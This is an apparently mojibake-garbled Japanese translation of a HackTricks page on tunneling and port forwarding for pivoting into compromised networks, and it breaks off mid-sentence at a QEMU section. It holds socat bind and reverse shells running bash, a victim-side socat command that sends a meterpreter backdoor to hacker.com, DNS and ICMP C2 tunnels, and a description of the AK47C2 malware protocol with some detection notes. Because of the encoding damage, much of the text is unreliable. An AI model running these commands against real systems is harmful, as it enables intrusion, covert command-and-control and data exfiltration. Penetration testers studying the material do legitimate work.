ãã³ããªã³ã°ãšããŒããã©ã¯ãŒãã£ã³ã°
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
Nmap ã®ãã³ã
Warning
ICMP ãš SYN ã¹ãã£ã³ã¯ socks ãããã·çµç±ã§ãã³ããªã³ã°ã§ããªãããããã®æ¹æ³ãæ©èœãããã«ã¯ ping discovery ãç¡å¹å (
-Pn) ããTCP ã¹ãã£ã³ (-sT) ãæå®ããå¿ èŠããããŸãã
Bash
ãã¹ã -> ãžã£ã³ã -> InternalA -> InternalB
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &
# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump
SSH
SSH ã®ã°ã©ãã£ã«ã«æ¥ç¶ (X)
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
Local Port2Port
SSH Serverã§æ°ããPortãéã â> Other port
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
Port2Port
ããŒã«ã«ããŒã â> 䟵害ããããã¹ã (SSH) â> Third_box:ããŒã
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
Port2hostnet (proxychains)
ããŒã«ã«ããŒã â> 䟵害ããããã¹ã (SSH) â> ä»»æã®å Žæ
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
Reverse Port Forwarding
ããã¯å éšãã¹ãããDMZãçµç±ããŠããªãã®ãã¹ããžreverse shellsãååŸããã®ã«äŸ¿å©ã§ã:
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
æ°ããã€ã³ã¿ãŒãã§ãŒã¹ãäœæãããããäž¡æ¹ã®ããã€ã¹ã§ root ãå¿
èŠã§ãsshd ã®èšå®ã§ root ãã°ã€ã³ãèš±å¯ããå¿
èŠããããŸã:PermitRootLogin yesPermitTunnel yes
ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ip link set tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ip link set tun0 up #Activate the server side network interface
ãµãŒããŒåŽã§ãã©ã¯ãŒãã£ã³ã°ãæå¹ã«ãã
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
ã¯ã©ã€ã¢ã³ãåŽã§æ°ããã«ãŒããèšå®ãã
route add -net 10.0.0.0/16 gw 1.1.1.1
Note
ã»ãã¥ãªã㣠â Terrapin Attack (CVE-2023-48795) 2023幎㮠Terrapin ããŠã³ã°ã¬ãŒãæ»æã«ãããman-in-the-middle ãåæã® SSH ãã³ãã·ã§ã€ã¯ãæ¹ããããany forwarded channel (
-L,-R,-D) ã«ããŒã¿ãæ³šå ¥ã§ããå¯èœæ§ããããŸããSSH tunnels ã«é Œãåã«ãã¯ã©ã€ã¢ã³ããšãµãŒãã®åæ¹ããããé©çšæžã¿ïŒOpenSSH ⥠9.6/LibreSSH 6.7ïŒã§ããããšã確èªããããè匱ãªchacha20-poly1305@openssh.comããã³*-etm@openssh.comã¢ã«ãŽãªãºã ãsshd_config/ssh_configã§æç€ºçã«ç¡å¹åããŠãã ããã
SSHUTTLE
ãã¹ãçµç±ã§ ssh ã䜿ããç¹å®ã® subnetwork ãžã®ãã¹ãŠã® traffic ã tunnel ã§ããŸãã
äŸãã°ã10.10.10.0/24 å®ãŠã®ãã¹ãŠã® traffic ã転éããå Žå
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
ç§å¯éµã§æ¥ç¶ãã
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
Meterpreter
Port2Port
Local port â> Compromised host (active session) â> Third_box:Port
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
SOCKS
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
å¥ã®æ¹æ³:
background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
Cobalt Strike
SOCKS proxy
teamserver ã®ãã¹ãŠã®ã€ã³ã¿ãŒãã§ãŒã¹ã§ãªãã¹ã³ããããŒããéæŸããbeacon ãçµç±ããŠãã©ãã£ãã¯ãã«ãŒãã£ã³ã°ã§ããããã«ããŸãã
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
rPort2Port
Warning
ãã®å Žåãport is opened in the beacon hostãããŒã㯠Team Server ã§ã¯ãªã beacon host åŽã§éããããã©ãã£ãã¯ã¯ Team Server ã«éãããããããæå®ããã host:port ã«è»¢éãããŸãã
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
To note:
- Beaconã®reverse port forwardã¯ãTeam Serverãžã®ãã©ãã£ãã¯ããã³ããªã³ã°ããããã«èšèšãããŠãããåã ã®ãã·ã³éã§ã®äžç¶ã®ããã§ã¯ãããŸããã
- ãã©ãã£ãã¯ã¯ãP2Pãªã³ã¯ãå«ããBeaconã®C2ãã©ãã£ãã¯å ã§ãã³ããªã³ã°ãããŸãã
- é«çªããŒãã§reverse port forwardsãäœæããã®ã«ãAdmin privilegesã¯å¿ èŠãããŸããã
rPort2Port local
Warning
ãã®å ŽåãããŒãã¯beacon hostã§éãããŸããTeam Serverã§ã¯ãªãããã©ãã£ãã¯ã¯Cobalt Strike clientã«éãããŸããããããæå®ãããhost:portãžè»¢éãããŸãã
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
reGeorg
https://github.com/sensepost/reGeorg
webãã¡ã€ã«ãã³ãã«ãã¢ããããŒãããå¿ èŠããããŸã: ashx|aspx|js|jsp|php|php|jsp
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
Chisel
ãªãªãŒã¹ããŒãžããããŠã³ããŒãã§ããŸã: https://github.com/jpillora/chisel
ã¯ã©ã€ã¢ã³ããšãµãŒããŒã§åãããŒãžã§ã³ã䜿çšããå¿
èŠããããŸã
socks
./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
Port forwarding
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
Ligolo-ng
https://github.com/nicocha30/ligolo-ng
agent ãš proxy ã¯åãããŒãžã§ã³ã䜿çšããŠãã ãã
Tunneling
# Start proxy server and automatically generate self-signed TLS certificates -- Attacker
sudo ./proxy -selfcert
# Create an interface named "ligolo" -- Attacker
interface_create --name "ligolo"
# Print the currently used certificate fingerprint -- Attacker
certificate_fingerprint
# Start the agent with certification validation -- Victim
./agent -connect <ip_proxy>:11601 -v -accept-fingerprint <fingerprint>
# Select the agent -- Attacker
session
1
# Start the tunnel on the proxy server -- Attacker
tunnel_start --tun "ligolo"
# Display the agent's network configuration -- Attacker
ifconfig
# Create a route to the agent's specified network -- Attacker
interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_agent>
# Display the tun interfaces -- Attacker
interface_list
Agent Binding and Listening
# Establish a tunnel from the proxy server to the agent
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
# Display the currently running listeners on the agent -- Attacker
listener_list
ãšãŒãžã§ã³ãã®ããŒã«ã«ããŒãã«ã¢ã¯ã»ã¹
# Establish a tunnel from the proxy server to the agent
# Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker
interface_add_route --name "ligolo" --route 240.0.0.1/32
Rpivot
https://github.com/klsecservices/rpivot
Reverse tunnel. ãã³ãã«ã¯victimåŽããéå§ãããŸãã
socks4 proxyã127.0.0.1:1080ã«äœæãããŸã
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
NTLM proxy ãçµç±ã㊠Pivot ãã
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
Socat
https://github.com/andrew-d/static-binaries
Bind shell
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
Reverse shell
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
Port2Port
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
Port2Port ã socks çµç±ã§
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
SSL Socatçµç±ã®Meterpreter
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
被害è ã®ã³ã³ãœãŒã«ã§æåŸã®è¡ã®ä»£ããã«ãã®è¡ãå®è¡ãããšãnon-authenticated proxyããã€ãã¹ã§ããŸã:
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/
SSL Socat Tunnel
/bin/sh console
äž¡åŽã§èšŒææžãäœæãã: Client ãš Server
# Execute these commands on both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
Remote Port2Port
ããŒã«ã«ã®SSHããŒã (22) ãæ»æè ãã¹ãã®443ããŒãã«æ¥ç¶ãã
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
Plink.exe
ã³ã³ãœãŒã«çã® PuTTY ã®ãããªãã®ã§ïŒãªãã·ã§ã³ã¯ ssh ã¯ã©ã€ã¢ã³ããšéåžžã«äŒŒãŠããŸãïŒã
ãã® binary 㯠victim åŽã§å®è¡ãããssh ã¯ã©ã€ã¢ã³ããªã®ã§ãreverse connection ã確ç«ããããã«èªåã® ssh ãµãŒãã¹ãšããŒããéããŠããå¿ èŠããããŸããæ¬¡ã«ãããŒã«ã«ããã®ã¿ã¢ã¯ã»ã¹å¯èœãªããŒããèªåã®ãã·ã³ã®ããŒãã«è»¢éããã«ã¯ïŒ
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
Windows netsh
Port2Port
ããŒã«ã«ç®¡çè ã§ããå¿ èŠããããŸãïŒä»»æã®ããŒãã®å ŽåïŒã
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
SocksOverRDP & Proxifier
察象ã·ã¹ãã ã«å¯ŸããRDPã¢ã¯ã»ã¹ãå¿
èŠã§ãã
ããŠã³ããŒã:
- SocksOverRDP x64 Binaries - ãã®ããŒã«ã¯Windowsã®Remote Desktop Serviceæ©èœã«ãã
Dynamic Virtual ChannelsïŒDVCïŒã䜿çšããŸããDVCã¯RDPæ¥ç¶äžã§ãã±ããããã³ããªã³ã°ãã圹å²ãæãããŸãã - Proxifier Portable Binary
ã¯ã©ã€ã¢ã³ãåŽã®ã³ã³ãã¥ãŒã¿ã§**SocksOverRDP-Plugin.dll**ãæ¬¡ã®ããã«ããŒãããŸã:
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
ããã§ mstsc.exe ã䜿ã£ãŠ RDP çµç±ã§ victim ã« connect ã§ããSocksOverRDP plugin is enabled ãšè¡šç€ºããã prompt ãåãåãã127.0.0.1:1080 ã§ listen ããã¯ãã§ãã
Connect via RDP and upload & execute in the victim ãã·ã³ the SocksOverRDP-Server.exe ãã€ããª:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
æ»æè åŽã®ãã·ã³ (attacker) ã§ããŒã1080ããªãã¹ã³ããŠããããšã確èªããŠãã ãã:
netstat -antb | findstr 1080
ããã§Proxifier ã䜿ã£ãŠãã®ããŒãçµç±ã§ãã©ãã£ãã¯ããããã·ã§ããŸãã
Windows GUI ã¢ããªã®ãããã·å
Windows ã® GUI ã¢ããªãProxifierã䜿ã£ãŠãããã·çµç±ã§éä¿¡ãããããšãã§ããŸãã
ãProfile -> Proxy Serversãã§SOCKSãµãŒããŒã®IPãšããŒãã远å ããŸãã
ãProfile -> Proxification Rulesãã§ãããã·åããããã°ã©ã åãšããããã·åãããæ¥ç¶å
ã®IPã远å ããŸãã
NTLM proxy bypass
åè¿°ã®ããŒã«ïŒRpivot
以äžã®ãªãã·ã§ã³ãèšå®ããããšã§OpenVPNã§ãåé¿ã§ããŸãïŒ
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
Cntlm
ããã¯ãããã·ã«å¯ŸããŠèªèšŒãè¡ããæå®ããå€éšãµãŒãã¹ã«è»¢éãããããŒã«ã«ã®ããŒãããã€ã³ãããŸãããã®åŸããã®ããŒããéããŠä»»æã®ããŒã«ã䜿çšã§ããŸãã
äŸãã°ããã㯠port 443 ã転éããŸãã
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Now, if you set for example in the victim the SSH service to listen in port 443. You can connect to it through the attacker port 2222.
äŸãã°è¢«å®³è
åŽã§SSHãµãŒãã¹ãããŒã443ã§åŸ
ã¡åããããèšå®ããå Žåãæ»æè
åŽã®ããŒã2222ãä»ããŠæ¥ç¶ã§ããŸãã
You could also use a meterpreter that connects to localhost:443 and the attacker is listening in port 2222.
ãŸããmeterpreterã䜿çšããŠlocalhost:443ã«æ¥ç¶ããæ»æè
ãããŒã2222ã§åŸ
ã¡åããããã«ããããšãã§ããŸãã
YARP
MicrosoftãäœæãããªããŒã¹ãããã·ã§ããããã§èŠã€ããããŸã: https://github.com/microsoft/reverse-proxy
DNS Tunneling
Iodine
äž¡æ¹ã®ã·ã¹ãã ã§rootãå¿ èŠã§ããããã¯tun adaptersãäœæããDNS queriesã䜿ã£ãŠãããã®éã§ããŒã¿ããã³ãã«ããããã§ãã
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
tunnelã¯éåžžã«é
ããªããŸãã
ãã®tunnelãä»ããŠå§çž®ããã SSH æ¥ç¶ãäœæããã«ã¯ã次ã䜿çšããŸãïŒ
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
DNSCat2
DNSãä»ããŠC&Cãã£ãã«ã確ç«ããŸããroot privilegesã¯äžèŠã§ãã
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
PowerShellã§
PowerShellã§dnscat2ã¯ã©ã€ã¢ã³ããå®è¡ããã«ã¯ãdnscat2-powershell ã䜿çšã§ããŸã:
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
dnscat ã䜿ã£ã Port forwarding
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
proxychains ã® DNS ã倿Ž
Proxychains 㯠gethostbyname libc ã³ãŒã«ãããã¯ããtcp ã® DNS ãªã¯ãšã¹ãã socks ãããã·çµç±ã§ãã³ãã«ããŸããããã©ã«ãã§ã¯ proxychains ã䜿çšãã DNS ãµãŒã㯠4.2.2.2ïŒããŒãã³ãŒãïŒã§ãã倿Žããã«ã¯ãã¡ã€ã« /usr/lib/proxychains3/proxyresolv ãç·šéã㊠IP ã倿ŽããŠãã ãããWindows ç°å¢ã®å Žå㯠ãã¡ã€ã³ã³ã³ãããŒã©ãŒ ã® IP ãèšå®ããããšãã§ããŸãã
Go ã§ã®ãã³ãã«
https://github.com/hotnops/gtunnel
ã«ã¹ã¿ã DNS TXT / HTTP JSON C2 (AK47C2)
Storm-2603 ã¢ã¯ã¿ãŒã¯ãã¢ãŠãããŠã³ãã® DNS ãš plain HTTP POST ãã©ãã£ãã¯ã®ã¿ãæªçšãã dual-channel C2 (âAK47C2â) ãæ§ç¯ããŸããããããã¯äŒæ¥ãããã¯ãŒã¯ã§ãããã¯ããã«ãã2ã€ã®ãããã³ã«ã§ãã
- DNS ã¢ãŒã (AK47DNS)
⢠ã©ã³ãã ãª5æåã® SessionID ãçæïŒäŸ:
H4T14ïŒã ⢠task requests ã«ã¯1ãresults ã«ã¯2ãå é ã«ä»ããè€æ°ã®ãã£ãŒã«ãïŒflagsãSessionIDãcomputer nameïŒãé£çµããŸãã ⢠åãã£ãŒã«ã㯠ASCII ããŒVHBD@Hã§ XOR æå·åããã16é²ãšã³ã³ãŒãããããããã§çµåãããŸã â æçµçã«æ»æè 管çãã¡ã€ã³ã§çµãããŸã:
<1|2><SessionID>.a<SessionID>.<Computer>.update.updatemicfosoft.com
⢠ãªã¯ãšã¹ã㯠DnsQuery() ã䜿ã£ãŠ TXTïŒãã©ãŒã«ããã¯ã§ MGïŒã¬ã³ãŒããååŸããŸãã
⢠å¿çã 0xFF ãã€ããè¶
ãããšãããã¯ãã¢ã¯ããŒã¿ã63ãã€ããã€ã« åå² ããããŒã«ãŒ s<SessionID>t<TOTAL>p<POS> ãæ¿å
¥ã㊠C2 ãµãŒããé åºã埩å
ã§ããããã«ããŸãã
- HTTP ã¢ãŒã (AK47HTTP) ⢠JSON å°çãæ§ç¯ããŸã:
{"cmd":"","cmd_id":"","fqdn":"<host>","result":"","type":"task"}
⢠å
šäœã XOR-VHBD@H â hex â ããã£ãšã㊠POST /ïŒããã Content-Type: text/plainïŒã§éä¿¡ããŸãã
⢠è¿ä¿¡ãåããšã³ã³ãŒãã䜿ããcmd ãã£ãŒã«ã㯠cmd.exe /c <command> 2>&1 ã§å®è¡ãããŸãã
Blue Team notes
⢠æåã®ã©ãã«ãé·ã16鲿ååã§ãåžžã«ç¹å®ã®çãããã¡ã€ã³ã§çµããç°åžžãª TXT ã¯ãšãªãæ¢ããŠãã ããã
⢠äžå®ã® XOR ããŒã«ç¶ã ASCII-hex 㯠YARA ã§æ€åºãããã: 6?56484244?484ïŒ16é²ã§ VHBD@HïŒã
⢠HTTP ã«ã€ããŠã¯ãtext/plain ã® POST ããã£ãçŽç²ãª16é²ã§ããã€ãæ°ã2ã®åæ°ã§ãããã®ããã©ã°ã«ããŠãã ããã
{{#note}} ãã£ã³ãã«å šäœã¯ æšæº RFC æºæ ã®ã¯ãšãª ã«åãŸããåãµããã¡ã€ã³ã©ãã«ã63ãã€ãæªæºã«ä¿ã€ãããã»ãšãã©ã® DNS ãã°ã§ã¹ãã«ã¹ã«ãªããŸãã {{#endnote}}
ICMP ãã³ããªã³ã°
Hans
https://github.com/friedrich/hans
https://github.com/albertzak/hanstunnel
äž¡æ¹ã®ã·ã¹ãã ã§ tun ã¢ããã¿ãäœæããICMP echo requests ã䜿ã£ãŠããŒã¿ããã³ãã«ããããã« root æš©éãå¿ èŠã§ãã
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
ptunnel-ng
ããããããŠã³ããŒã.
# Generate it
sudo ./autogen.sh
# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
ngrok
ngrok ã¯ã1ã€ã®ã³ãã³ãã§ãœãªã¥ãŒã·ã§ã³ãã€ã³ã¿ãŒãããã«å
¬éããããŒã«ã§ãã
å
¬éããã URI ã¯æ¬¡ã®ããã«ãªããŸã: UID.ngrok.io
ã€ã³ã¹ããŒã«
- ã¢ã«ãŠã³ããäœæ: https://ngrok.com/signup
- ã¯ã©ã€ã¢ã³ãã®ããŠã³ããŒã:
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
#Â Init configuration, with your token
./ngrok config edit
åºæ¬çãªäœ¿ãæ¹
Documentation: https://ngrok.com/docs/getting-started/.
å¿ èŠã«å¿ããŠauthenticationãšTLSã远å ããããšãå¯èœã§ãã
Tunneling TCP
# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
HTTPã§ãã¡ã€ã«ãå ¬éãã
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
HTTPãã©ãã£ãã¯ã®åå
XSSãSSRFãSSTIãªã©ã«æçš\
stdoutããçŽæ¥ããŸãã¯HTTPã€ã³ã¿ãŒãã§ãŒã¹ã§ http://127.0.0.1:4040.
å éšHTTPãµãŒãã¹ã®ãã³ããªã³ã°
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
#Â With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
ngrok.yaml ã®ç°¡åãªèšå®äŸ
3ã€ã®ãã³ãã«ãéããŸã:
- TCP ã2ã€
- HTTP ã1ã€ïŒ/tmp/httpbin/ããéçãã¡ã€ã«ãå ¬éïŒ
tunnels:
mytcp:
addr: 4444
proto: tcptunne
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/
Cloudflared (Cloudflare Tunnel)
Cloudflare ã® cloudflared ããŒã¢ã³ã¯ãCloudflare ã®ãšããžãã©ã³ãããŒãã€ã³ããšããŠäœ¿çšããçä¿¡ãã¡ã€ã¢ãŠã©ãŒã«ã«ãŒã«ãå¿
èŠãšããã« local TCP/UDP services ãå
¬éããã¢ãŠãããŠã³ããã³ãã«ãäœæã§ããŸããããã¯ãegress firewall ã HTTPS ãã©ãã£ãã¯ã®ã¿ãèš±å¯ããçä¿¡æ¥ç¶ããããã¯ãããŠããå Žåã«éåžžã«äŸ¿å©ã§ãã
ã¯ã€ãã¯ãã³ãã«ã®ã¯ã³ã©ã€ããŒ
# Expose a local web service listening on 8080
cloudflared tunnel --url http://localhost:8080
# => Generates https://<random>.trycloudflare.com that forwards to 127.0.0.1:8080
SOCKS5 pivot
# Turn the tunnel into a SOCKS5 proxy on port 1080
cloudflared tunnel --url socks5://localhost:1080 --socks5
# Now configure proxychains to use 127.0.0.1:1080
DNSã䜿ã£ãæ°žç¶çãã³ãã«
cloudflared tunnel create mytunnel
cloudflared tunnel route dns mytunnel internal.example.com
# config.yml
Tunnel: <TUNNEL-UUID>
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
url: http://127.0.0.1:8000
ã³ãã¯ã¿ãèµ·åãã:
cloudflared tunnel run mytunnel
Because all traffic leaves the host outbound over 443, Cloudflared tunnels are a simple way to bypass ingress ACLs or NAT boundaries. Be aware that the binary usually runs with elevated privileges â use containers or the --user flag when possible.
FRP (Fast Reverse Proxy)
frp ã¯æŽ»çºã«ã¡ã³ããã³ã¹ãããŠãã Go reverse-proxy ã§ãTCP, UDP, HTTP/S, SOCKS and P2P NAT-hole-punching ããµããŒãããŸããv0.53.0 (May 2024) 以éãSSH Tunnel Gateway ãšããŠåäœã§ãããããã¿ãŒã²ãããã¹ãã¯æšæºã® OpenSSH client ã®ã¿ã䜿çšããŠãªããŒã¹ãã³ãã«ãç«ã¡äžããããŸã â 远å ã®binaryã¯äžèŠã§ãã
Classic reverse TCP tunnel
# Attacker / server
./frps -c frps.toml # listens on 0.0.0.0:7000
# Victim
./frpc -c frpc.toml # will expose 127.0.0.1:3389 on frps:5000
# frpc.toml
serverAddr = "attacker_ip"
serverPort = 7000
[[proxies]]
name = "rdp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3389
remotePort = 5000
æ°ãã SSH ã²ãŒããŠã§ã€ã䜿çšãã (frpc binary ã¯äžèŠ)
# On frps (attacker)
sshTunnelGateway.bindPort = 2200 # add to frps.toml
./frps -c frps.toml
# On victim (OpenSSH client only)
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
äžèšã®ã³ãã³ã㯠victimâs port 8080 ã attacker_ip:9000 ãšããŠå ¬éããŸãã远å ã®ããŒã«ãå±éããããšãªãåäœããliving-off-the-land pivoting ã«æé©ã§ãã
QEMU ã䜿ã£ãç§å¿ç㪠VM ããŒã¹ã®ãã³ãã«
QEMU ã® user-mode networking (-netdev user) 㯠hostfwd ãšãããªãã·ã§ã³ããµããŒãããŠãããbinds a TCP/UDP port on the host and forwards it into the guestãguest ããã«ã® SSH ããŒã¢ã³ãå®è¡ããŠãããšãhostfwd ã«ãŒã«ã¯ ephemeral VM ã®å
éšã«å®å
